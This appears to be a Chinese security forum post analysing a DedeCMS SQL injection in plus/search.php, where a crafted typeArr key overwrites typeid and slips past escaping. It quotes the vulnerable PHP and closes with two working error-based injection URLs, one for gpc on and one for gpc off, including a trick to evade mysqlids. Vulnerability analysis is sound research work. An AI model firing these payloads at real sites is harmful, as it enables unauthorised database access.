Author:唐门三少
谢绝转载!
0x01简述
前天在微博上看到知道创宇检测到了新的dedecms注入,原文如下:
#0day预警#近日,@知道创宇 监控到多个dedecms注射0day漏洞,经过分析发现,其中有严重且非常容易利用的sql注射0day。我们已积极联系官方并升级KS-WAF、加速乐等产品,请站长密切关注官方信息及网站安全。临时防御方法:1、关闭会员中心并在php.ini里设置magic_quotes_gpc=On 2、删除plus/search.php。
今天在0x50sec上看到了相关的分析文章,大体感觉都没什么问题,但是测试他给出的PoC时,总是失败,感觉有点问题。然后稍微仔细看了下他PoC的内容,居然用@`'`=0这种方式来绕mysqlids!作者肯定没有仔细研究过mysqlids和mysql的用户变量。所以,感觉他的文章不靠谱,自己和几个朋友就研究了下这个漏洞。
0x50sec上的那篇文章,在漏洞原因上的分析大体是对的,但是在细节,和PoC上都有些问题,所以,就有了这篇文章。
0x02漏洞分析
漏洞的原因是typeid未做任何的检测,而且当传入参数$typeArr为数值时,会将$typeArr的key值传为$typeid,从而躲过前面执行转义的代码。下面我们直接来看search.php代码
<?php
/**
*
* 搜索页
*
* @version $Id: search.php 1 15:38 2010年7月8日Z tianya $
* [url=https://www.t00ls.com/space-uid-6000.html]@package[/url] DedeCMS.Site
* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
* @license [url]http://help.dedecms.com/usersguide/license.html[/url]
* @link [url]http://www.dedecms.com[/url]
*/
require_once(dirname(__FILE__)."/../include/common.inc.php");
require_once(DEDEINC."/arc.searchview.class.php");
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
if(!isset($orderby)) $orderby='';
else $orderby = preg_replace("#[^a-z]#i", '', $orderby);
if(!isset($searchtype)) $searchtype = 'titlekeyword';
else $searchtype = preg_replace("#[^a-z]#i", '', $searchtype);
if(!isset($keyword)){
if(!isset($q)) $q = '';
$keyword=$q;
}
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
//查找栏目信息
if(empty($typeid))
{
$typenameCacheFile = DEDEDATA.'/cache/typename.inc';
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
{
$fp = fopen(DEDEDATA.'/cache/typename.inc', 'w');
fwrite($fp, "<"."?php\r\n");
$dsql->SetQuery("Select id,typename,channeltype From `#@__arctype`");
$dsql->Execute();
while($row = $dsql->GetArray())
{
fwrite($fp, "\$typeArr[{$row['id']}] = '{$row['typename']}';\r\n");
}
fwrite($fp, '?'.'>');
fclose($fp);
}
//引入栏目缓存并看关键字是否有相关栏目内容
require_once($typenameCacheFile);
if(isset($typeArr) && is_array($typeArr))
{
foreach($typeArr as $id=>$typename)
{
$keywordn = str_replace($typename, ' ', $keyword);
if($keyword != $keywordn)
{
$keyword = $keywordn;
$typeid = $id;
break;
}
}
}
}
$keyword = addslashes(cn_substr($keyword,30));
if($cfg_notallowstr !='' && preg_match("#".$cfg_notallowstr."#i", $keyword))
{
ShowMsg("你的搜索关键字中存在非法内容,被系统禁止!","-1");
exit();
}
if(($keyword=='' || strlen($keyword)<2) && empty($typeid))
{
ShowMsg('关键字不能小于2个字节!','-1');
exit();
}
//检查搜索间隔时间
$lockfile = DEDEDATA.'/time.lock.inc';
$lasttime = file_get_contents($lockfile);
if(!empty($lasttime) && ($lasttime + $cfg_search_time) > time())
{
ShowMsg('管理员设定搜索时间间隔为'.$cfg_search_time.'秒,请稍后再试!','-1');
exit();
}
//开始时间
if(empty($starttime)) $starttime = -1;
else
{
$starttime = (is_numeric($starttime) ? $starttime : -1);
if($starttime>0)
{
$dayst = GetMkTime("2008-1-2 0:0:0") - GetMkTime("2008-1-1 0:0:0");
$starttime = time() - ($starttime * $dayst);
}
}
$t1 = ExecTime();
[color=Red]$sp = new SearchView($typeid,$keyword,$orderby,$channeltype,$searchtype,$starttime,$pagesize,$kwtype,$mid);[/color]
我们可以看红色的代码,之前并没有对$typeid做任何的检查和过滤。而红色代码便是进入SQL执行环节了。我们来看下这个环节的代码,首先是/include/arc.searchview.class.php文件
[color=Red] $this->TypeLink = new TypeLink($typeid);[/color]
// 通过分词获取关键词
[color=Red] $this->Keywords = $this->GetKeywords($keyword);[/color]
//设置一些全局参数的值
if($this->TypeID=="0"){
$this->ChannelTypeid=1;
}else{
[color=Red] $row =$this->dsql->GetOne("SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}");[/color]
$this->ChannelTypeid=$row['channeltype'];
}
上面的红色字体是执行SQL语句的关键部分,我们只需要关注第一个和第三个,因为$typeid只在这两部分起到作用。我们下面在看下TypeLink的代码,在/include/typelink.class.php文件中
function __construct($typeid)
{
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
$this->indexName = $GLOBALS['cfg_indexname'];
$this->baseDir = $GLOBALS['cfg_basedir'];
$this->modDir = $GLOBALS['cfg_templets_dir'];
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
$this->dsql = $GLOBALS['dsql'];
$this->TypeID = $typeid;
$this->valuePosition = '';
$this->valuePositionName = '';
$this->typeDir = '';
$this->OptionArrayList = '';
//载入类目信息
[color=Red] $query = "SELECT tp.*,ch.typename as ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join `#@__channeltype` ch
on ch.id=tp.channeltype WHERE tp.id='$typeid' ";[/color]
if($typeid > 0)
从红色的标注中可以看到,在这次执行过程中$typeid是被单引号包裹的。也就是说如果在目标关闭gpc的情况下,我们可以利用这条语句进行攻击。但是gpc开启的情况下呢?如果你仔细看之前的arc.searchview.class.php文件的代码话,就会发现一个很有好的利用点,我们再把这部分代码贴一下
if($this->TypeID=="0"){
$this->ChannelTypeid=1;
}else{
$row =$this->dsql->GetOne("SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}");
$this->ChannelTypeid=$row['channeltype'];
}
可以看出,如果typeid不等于零,那么它执行的SQL语句没有使用单引号包裹typeid。也就是说如果关闭gpc,我们利用typelink的SQL语句,如果开启的话,我们就利用searchview的SQL语句进行。当然利用的过程中要涉及到过80sec的mysqlids的检测,这就不在我们这篇文章讨论的范围了,大家可以去网上搜一下,记得90sec上有一个人写过专门的分析文章。
PoC利用
在开启gpc的情况下
http://target/plus/search.php?typeArr[1%20or%20@`'`%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20@`'`]=11&&kwtype=0&q=1111&searchtype=title
在未开启gpc的情况下,虽然利用成功,但是在后面searchview的SQL语句检测中,会被mysqlids检测到,留下日志。
http://target/plus/search.php?typeArr[2'%20and%20@`'`%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20']=c4&kwtype=0&q=c4rp3nt3r&searchtype=title